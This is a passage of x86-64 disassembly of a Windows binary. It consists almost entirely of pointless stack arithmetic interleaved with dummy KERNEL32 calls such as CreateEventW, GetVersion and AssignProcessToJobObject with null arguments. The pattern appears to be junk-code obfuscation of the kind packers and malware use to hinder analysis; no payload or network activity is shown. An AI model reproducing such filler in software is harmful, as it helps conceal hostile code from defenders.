mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x2f10]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3e68], rax
lea rax, [rsp + 0x34f8]
mov qword [rsp + 0x3e70], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2014], eax
mov rax, qword [rsp + 0x2f10]
mov rcx, qword [rsp + 0x3b58]
mov qword [rsp + 0x3e78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3e78]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3de8], rax
movsx eax, word [rsp + 0xc64]
movsx ecx, word [rsp + 0xc68]
add eax, ecx
mov word [rsp + 0xc5c], ax
lea rax, [rsp + 0x1f90]
mov qword [rsp + 0x3e80], rax
mov rax, qword [rsp + 0x3c98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3d08], rax
lea rax, [rsp + 0x1ad]
mov qword [rsp + 0x3e88], rax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x3e90], rax
mov rax, qword [rsp + 0x3a40]
mov rcx, qword [rsp + 0x3bb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3e20]
mov dword [rcx], eax
lea rax, [rsp + 0xc68]
mov qword [0x14018bdf0], rax
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x3e98], rax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [rsp + 0xc78]
xor eax, ecx
mov rcx, qword [rsp + 0x3db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x3e40]
mov qword [rsp + 0x3ea0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3ea0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3e70]
mov qword [rcx], rax
lea rax, [rsp + 0x3d08]
mov qword [rsp + 0x3ea8], rax
mov rax, qword [rsp + 0x3e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ac]
sar eax, cl
mov rcx, qword [rsp + 0x3e28]
mov byte [rcx], al
lea rax, [rsp + 0x2010]
mov qword [rsp + 0x3eb0], rax
mov rax, qword [rsp + 0x3cf0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3e18]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc68], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3d98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x544], ax
lea rax, [0x14018ace0]
mov qword [0x14018bdf8], rax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3e38]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3e98]
mov word [rcx], ax
mov rax, qword [rsp + 0x2f10]
mov qword [rsp + 0x3eb8], rax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x3b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
lea rax, [rsp + 0x1f90]
mov qword [rsp + 0x3ec0], rax
mov rax, qword [rsp + 0x3e48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ac]
and eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov rcx, qword [rsp + 0x3cc8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3bb8]
mov qword [rsp + 0x3ec8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3ec8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x1fa0], eax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x3ed0], rax
lea rax, [rsp + 0x2fa8]
mov qword [rsp + 0x3ed8], rax
lea rax, [rsp + 0xc68]
mov qword [0x14018be00], rax
mov rax, qword [0x14018bdf0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc64]
add eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
lea rax, [rsp + 0x544]
mov qword [rsp + 0x3ee0], rax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3db8]
mov word [rcx], ax
movsx eax, byte [0x14018acd9]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ad], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1fb0], eax
lea rax, [rsp + 0x1f7c]
mov qword [rsp + 0x3ee8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3ef0], rax
mov rax, qword [rsp + 0x3d08]
mov rcx, qword [rsp + 0x3b28]
mov qword [rsp + 0x3ef8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3ef8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3ea8]
mov qword [rcx], rax
lea rax, [rsp + 0xc68]
mov qword [rsp + 0x3f00], rax
movzx eax, word [rsp + 0x544]
mov rcx, qword [rsp + 0x3e38]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3ee0]
mov word [rcx], ax
lea rax, [rsp + 0x34f8]
mov qword [0x14018be08], rax
lea rax, [0x14018ace0]
mov qword [rsp + 0x3f08], rax
mov rax, qword [rsp + 0x3e40]
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2f10], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x3e40]
mov rcx, qword [rsp + 0x2f10]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
movzx eax, word [rsp + 0x544]
mov rcx, qword [rsp + 0x3ee0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x39c], ax
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1de0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1f8c], eax
lea rax, [rsp + 0x14a]
mov qword [rsp + 0x3f10], rax
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [rsp + 0x1ad]
and eax, ecx
mov byte [rsp + 0x1ab], al
mov edx, 0x529
mov rcx, qword [rsp + 0x3cc8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2018], eax
mov eax, dword [rsp + 0x1fd8]
mov ecx, dword [rsp + 0x1ff4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3e80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3e60]
mov rax, qword [rax]
mov qword [0x14018be10], rax
lea rax, [rsp + 0xc6c]
mov qword [rsp + 0x3f18], rax
movsx eax, word [rsp + 0xc7c]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc70], ax
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x3f20], rax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3d80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b88]
mov qword [rsp + 0x3f28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3f28]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3c98]
mov qword [rcx], rax
lea rax, [rsp + 0x1ad]
mov qword [rsp + 0x3f30], rax
lea rcx, [0x1401500d4]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xc80], ax
mov rax, qword [0x14018bde0]
mov rcx, qword [rsp + 0x3eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3ec0]
mov dword [rcx], eax
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x3f38], rax
lea rax, [rsp + 0x544]
mov qword [0x14018be18], rax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [0x14018ace0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [rsp + 0x39c]
shl eax, cl
mov rcx, qword [rsp + 0x3db8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe7]
mov byte [rsp + 0x1ae], al
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov dword [rsp + 0x201c], eax
mov eax, dword [rsp + 0x1fd8]
mov ecx, dword [0x14018bdc0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3c98]
mov rcx, qword [rsp + 0x3e60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x38a0], rax
movsx eax, byte [rsp + 0x1ad]
movsx ecx, byte [rsp + 0x99]
sub eax, ecx
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x3b70]
movzx eax, word [rax]
mov word [rsp + 0xc84], ax
mov rax, qword [rsp + 0x3d98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39c]
sar eax, cl
mov word [0x14018acdc], ax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [0x14018ace0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3eb8], rax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3eb8], rax
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x3f40], rax
mov rax, qword [0x14018be18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3d98]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3e38]
mov word [rcx], ax
lea rax, [rsp + 0x1fd8]
mov qword [rsp + 0x3f48], rax
mov rax, qword [rsp + 0x3d80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3c98]
mov qword [rcx], rax
movsx eax, byte [0x14018acd9]
cdq
mov ecx, 0x1a
idiv ecx
mov rcx, qword [rsp + 0x3e48]
mov byte [rcx], al
lea rax, [rsp + 0x2ac8]
mov qword [rsp + 0x3f50], rax
lea rax, [rsp + 0xc6c]
mov qword [0x14018be20], rax
mov rax, qword [0x14018be18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3e20]
mov qword [rsp + 0x3f58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3f58]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x1e80], eax
movzx eax, byte [rsp + 0xe7]
movzx ecx, byte [0x14018acda]
shl eax, cl
mov rcx, qword [rsp + 0x3e90]
mov byte [rcx], al
mov rax, qword [rsp + 0x3eb8]
mov rcx, qword [rsp + 0x3de8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
lea rax, [rsp + 0x38a0]
mov qword [rsp + 0x3f60], rax
movsx eax, byte [rsp + 0x1ac]
movsx ecx, byte [rsp + 0x1ab]
or eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
lea rax, [rsp + 0x1fe4]
mov qword [rsp + 0x3f68], rax
movsx eax, word [rsp + 0xc6c]
mov rcx, qword [rsp + 0x3f38]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
lea rax, [rsp + 0xc60]
mov qword [0x14018be28], rax
lea rax, [0x14018ace0]
mov qword [rsp + 0x3f70], rax
mov rax, qword [rsp + 0x3e98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc78]
add eax, ecx
mov rcx, qword [rsp + 0x3f20]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
mov rcx, qword [0x14018be20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc68], ax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov qword [rsp + 0x3f78], rax
mov eax, dword [rsp + 0x1f7c]
mov rcx, qword [rsp + 0x3eb0]
mov qword [rsp + 0x3f80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3f80]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3dc8]
mov dword [rcx], eax
lea rax, [rsp + 0x38a0]
mov qword [rsp + 0x3f88], rax
movsx eax, byte [0x14018acd9]
imul eax, eax, 0x23
mov rcx, qword [rsp + 0x3e28]
mov byte [rcx], al
movzx eax, word [rsp + 0x39c]
movzx ecx, word [rsp + 0x544]
sub eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3eb8]
mov qword [0x14018be30], rax
lea rax, [0x14018acda]
mov qword [rsp + 0x3f90], rax
mov eax, dword [rsp + 0x1fc0]
mov ecx, dword [rsp + 0x1fa0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3e20]
mov dword [rcx], eax
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x3f98], rax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018acdc]
and eax, ecx
mov word [rsp + 0x544], ax
movsx eax, byte [rsp + 0x1ad]
movsx ecx, byte [rsp + 0x1ac]
and eax, ecx
mov rcx, qword [rsp + 0x3e28]
mov byte [rcx], al
lea rax, [rsp + 0x2010]
mov qword [rsp + 0x3fa0], rax
mov rax, qword [rsp + 0x3f88]
mov rcx, qword [rsp + 0x3ed8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3d08], rax
lea rax, [rsp + 0xc64]
mov qword [rsp + 0x3fa8], rax
mov rax, qword [rsp + 0x3ee0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
add eax, ecx
mov word [0x14018acdc], ax
mov rax, qword [rsp + 0x3f70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b78]
mov qword [rsp + 0x3fb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3fb0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2ac8], rax
mov rax, qword [rsp + 0x3f70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3eb8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3e70]
mov qword [rcx], rax
lea rax, [rsp + 0x2f10]
mov qword [rsp + 0x3fb8], rax
movsx eax, word [0x14018bdc4]
movsx ecx, word [rsp + 0xc70]
xor eax, ecx
mov word [rsp + 0xc64], ax
mov rax, qword [rsp + 0x3d08]
mov qword [rsp + 0x3fc0], rax
mov rax, qword [rsp + 0x3bd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1fe4]
shr eax, cl
mov dword [rsp + 0x1f7c], eax
lea rax, [0x14018acd9]
mov qword [rsp + 0x3fc8], rax
mov rax, qword [rsp + 0x3ed0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3f90]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ae], al
mov eax, dword [rsp + 0x201c]
mov ecx, dword [rsp + 0x1fd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1e80], eax
lea rax, [rsp + 0xc7c]
mov qword [0x14018be38], rax
lea rax, [rsp + 0x39c]
mov qword [rsp + 0x3fd0], rax
movzx eax, word [rsp + 0xc78]
mov rcx, qword [rsp + 0x3e98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3db8]
mov word [rcx], ax
lea rax, [0x14018be30]
mov qword [rsp + 0x3fd8], rax
mov rax, qword [rsp + 0x3dc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3fa0]
mov qword [rsp + 0x3fe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3fe0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1fe4], eax
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [rsp + 0x1ab]
and eax, ecx
mov byte [rsp + 0x1ad], al
lea rax, [0x14018be10]
mov qword [rsp + 0x3fe8], rax
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0xc68]
and eax, ecx
mov word [rsp + 0xc84], ax
lea rax, [rsp + 0x39c]
mov qword [rsp + 0x3ff0], rax
mov edx, 0xffe
mov rcx, qword [rsp + 0x3b10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x1fa4], eax
lea rax, [rsp + 0x3de8]
mov qword [0x14018be40], rax
mov rax, qword [rsp + 0x3db8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39c]
sub eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3fb8]
mov rcx, qword [rsp + 0x3f78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3e70]
mov qword [rcx], rax
lea rax, [rsp + 0x3eb8]
mov qword [rsp + 0x3ff8], rax
mov rax, qword [rsp + 0x3e60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3d80]
mov qword [rsp + 0x4000], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4000]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3c98]
mov qword [rcx], rax
lea rax, [rsp + 0x1fd8]
mov qword [rsp + 0x4008], rax
mov rax, qword [rsp + 0x3e20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fd0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x4010], rax
mov rax, qword [rsp + 0x3e28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
or eax, ecx
mov rcx, qword [rsp + 0x3e88]
mov byte [rcx], al
movsx eax, word [rsp + 0xc68]
mov rcx, qword [rsp + 0x3f38]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018bdf0]
mov word [rcx], ax
movsx eax, word [rsp + 0xc7c]
movsx ecx, word [rsp + 0xc84]
sub eax, ecx
mov word [rsp + 0xc6c], ax
lea rax, [rsp + 0x544]
mov qword [rsp + 0x4018], rax
movzx eax, word [rsp + 0x39c]
movzx ecx, word [rsp + 0x544]
add eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3f60]
mov rcx, qword [rsp + 0x3d80]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2e28], rax
mov eax, dword [rsp + 0x1c58]
mov ecx, dword [rsp + 0x1f90]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f48]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1ac]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3e48]
mov byte [rcx], al
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x4020], rax
movzx eax, word [rsp + 0xc78]
movzx ecx, word [rsp + 0xc60]
sar eax, cl
mov word [rsp + 0x39c], ax
mov rax, qword [rsp + 0x3f70]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14018ace8], rax
lea rax, [rsp + 0x2f10]
mov qword [rsp + 0x4028], rax
mov rax, qword [0x14018be08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3f78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x34f8]
mov rcx, qword [rsp + 0x3f78]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
lea rax, [rsp + 0xc78]
mov qword [rsp + 0x4030], rax
mov rax, qword [rsp + 0x3f10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3e90]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4010]
mov byte [rcx], al
lea rax, [rsp + 0x1fc0]
mov qword [rsp + 0x4038], rax
mov eax, dword [rsp + 0x1fd8]
mov rcx, qword [rsp + 0x3bd8]
mov qword [rsp + 0x4040], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4040]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1f7c], eax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3e48]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3e28]
mov byte [rcx], al
mov rax, qword [rsp + 0x3ed8]
mov rax, qword [rax]
mov qword [0x14018be48], rax
mov rax, qword [rsp + 0x4020]
movzx eax, word [rax]
mov word [rsp + 0xc88], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0xc70]
mov rcx, qword [0x14018bdd8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc84], ax
lea rax, [rsp + 0xc78]
mov qword [rsp + 0x4048], rax
mov rax, qword [rsp + 0x3f78]
mov rcx, qword [rsp + 0x2ac8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f8], rax
lea rax, [rsp + 0x1ac]
mov qword [rsp + 0x4050], rax
mov rax, qword [rsp + 0x3b80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fc0]
mov rcx, qword [rsp + 0x38a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f88]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x3e68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2020], eax
lea rcx, str.Y2Y_qwNwE
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xc8c], ax
lea rax, [rsp + 0xc88]
mov qword [rsp + 0x4058], rax
lea rax, [rsp + 0xc78]
mov qword [0x14018be50], rax
lea rcx, [rsp + 0x157e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x3e40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fb8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3ee0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x8b0], ax
mov rax, qword [rsp + 0x3bb8]
mov rcx, qword [rsp + 0x3a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4038]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe7]
movzx ecx, byte [rsp + 0x14a]
add eax, ecx
mov byte [rsp + 0x1ae], al
mov eax, dword [0x14018bdc0]
mov dword [rsp + 0x2024], eax
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [rsp + 0x1ac]
shl eax, cl
mov rcx, qword [rsp + 0x3fc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3d08]
mov qword [rsp + 0x4060], rax
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0xc84]
xor eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov word [rcx], ax
mov rax, qword [rsp + 0x4018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39c]
or eax, ecx
mov rcx, qword [0x14018be50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3de8]
mov rcx, qword [rsp + 0x2ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
lea rax, [rsp + 0x2ac8]
mov qword [rsp + 0x4068], rax
mov rax, qword [rsp + 0x3f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
sar eax, cl
mov word [rsp + 0xc84], ax
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0x4070], rax
mov rax, qword [rsp + 0x3e60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3fc0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fe8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1f90]
mov ecx, dword [rsp + 0x1fe4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c58], eax
mov rax, qword [rsp + 0x4050]
movsx eax, byte [rax]
movsx ecx, byte [0x14018acd9]
and eax, ecx
mov byte [rsp + 0x175], al
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x3f50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f40]
movzx eax, word [rax]
mov word [0x14018be58], ax
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x4078], rax
movzx eax, byte [0x14018acda]
movzx ecx, byte [rsp + 0x14a]
add eax, ecx
mov rcx, qword [rsp + 0x3ed0]
mov byte [rcx], al
mov eax, dword [rsp + 0x201c]
mov dword [rsp + 0x2028], eax
mov rax, qword [rsp + 0x3f70]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3eb8]
sar rax, cl
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2b08]
mov rcx, qword [0x14018be10]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f60]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x18d], al
mov rax, qword [rsp + 0x3e30]
mov rcx, qword [rsp + 0x3f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3ec0]
mov dword [rcx], eax
lea rax, [rsp + 0xc7c]
mov qword [rsp + 0x4080], rax
lea rax, [rsp + 0xc60]
mov qword [0x14018be60], rax
mov rax, qword [rsp + 0x34f8]
movzx ecx, al
mov rax, qword [rsp + 0x3f78]
shl rax, cl
mov rcx, qword [rsp + 0x3ff8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3e38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x544]
sub eax, ecx
mov rcx, qword [rsp + 0x3db8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc64]
mov word [rsp + 0xc90], ax
mov rax, qword [0x14018be40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3de8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ac8], rax
lea rax, [rsp + 0x1ac]
mov qword [rsp + 0x4088], rax
mov rax, qword [rsp + 0x3f48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3a68]
mov qword [rsp + 0x4090], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4090]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1f7c], eax
mov rax, qword [rsp + 0x3e60]
mov rcx, qword [rsp + 0x3ed8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3ea8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [rsp + 0x544]
sub eax, ecx
mov word [rsp + 0xc34], ax
mov rax, qword [rsp + 0x3f50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f10]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14018bdf8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x14a]
mov rcx, qword [rsp + 0x3f90]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3f10]
mov byte [rcx], al
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
mov dword [rsp + 0x202c], eax
mov rax, qword [rsp + 0x3f38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3fa8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc58], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1fa4], eax
lea rax, [0x14018bde8]
mov qword [rsp + 0x4098], rax
movsx eax, byte [rsp + 0x18d]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3e28]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x40a0], rax
mov rax, qword [rsp + 0x3b28]
mov rax, qword [rax]
movzx ecx, al
